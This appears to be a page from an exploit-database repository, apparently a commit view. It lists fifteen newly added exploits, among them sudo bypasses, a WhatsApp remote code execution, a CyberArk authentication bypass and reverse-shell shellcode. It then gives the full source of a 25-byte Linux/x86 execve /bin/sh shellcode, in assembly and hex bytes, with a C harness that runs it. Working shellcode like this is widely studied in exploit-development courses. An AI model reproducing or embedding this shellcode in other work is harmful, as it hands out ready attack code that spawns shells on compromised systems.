588067072a
15 changes to exploits/shellcodes sudo 1.8.28 - Security Bypass sudo 1.2.27 - Security Bypass Lavasoft 2.3.4.7 - 'LavasoftTcpService' Unquoted Service Path Zilab Remote Console Server 3.2.9 - 'zrcs' Unquoted Service Path X.Org X Server 1.20.4 - Local Stack Overflow LiteManager 4.5.0 - 'romservice' Unquoted Serive Path Solaris xscreensaver 11.4 - Privilege Escalation Mikogo 5.2.2.150317 - 'Mikogo-Service' Unquoted Serive Path Whatsapp 2.19.216 - Remote Code Execution Accounts Accounting 7.02 - Persistent Cross-Site Scripting CyberArk Password Vault 10.6 - Authentication Bypass Linux/x86 - Add User to /etc/passwd Shellcode (59 bytes) Linux/x86 - adduser (User) to /etc/passwd Shellcode (74 bytes) Linux/x86 - execve /bin/sh Shellcode (25 bytes) Linux/x86 - Reverse Shell NULL free 127.0.0.1:4444 Shellcode (91 bytes)
45 lines
No EOL
888 B
C
45 lines
No EOL
888 B
C
# Exploit Title: Linux/x86 - execve /bin/sh ShellCode (25 bytes)
|
|
# Date: 2019-10-14
|
|
# Author: bolonobolo
|
|
# Vendor Homepage: None
|
|
# Software Link: None
|
|
# Tested on: Linux x86
|
|
# CVE: N/A
|
|
|
|
/*
|
|
global _start
|
|
|
|
section .text
|
|
_start:
|
|
|
|
|
|
cdq ; xor edx
|
|
mul edx
|
|
lea ecx, [eax]
|
|
mov esi, 0x68732f2f
|
|
mov edi, 0x6e69622f
|
|
push ecx ; push NULL in stack
|
|
push esi
|
|
push edi ; push hs/nib// in stack
|
|
lea ebx, [esp] ; load stack pointer to ebx
|
|
mov al, 0xb ; load execve in eax
|
|
int 0x80 ; execute
|
|
|
|
*/
|
|
|
|
#include<stdio.h>
|
|
#include<string.h>
|
|
|
|
unsigned char code[] = \
|
|
"\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80";
|
|
|
|
void main()
|
|
{
|
|
|
|
printf("Shellcode Length: %d\n", strlen(code));
|
|
|
|
int (*ret)() = (int(*)())code;
|
|
|
|
ret();
|
|
|
|
} |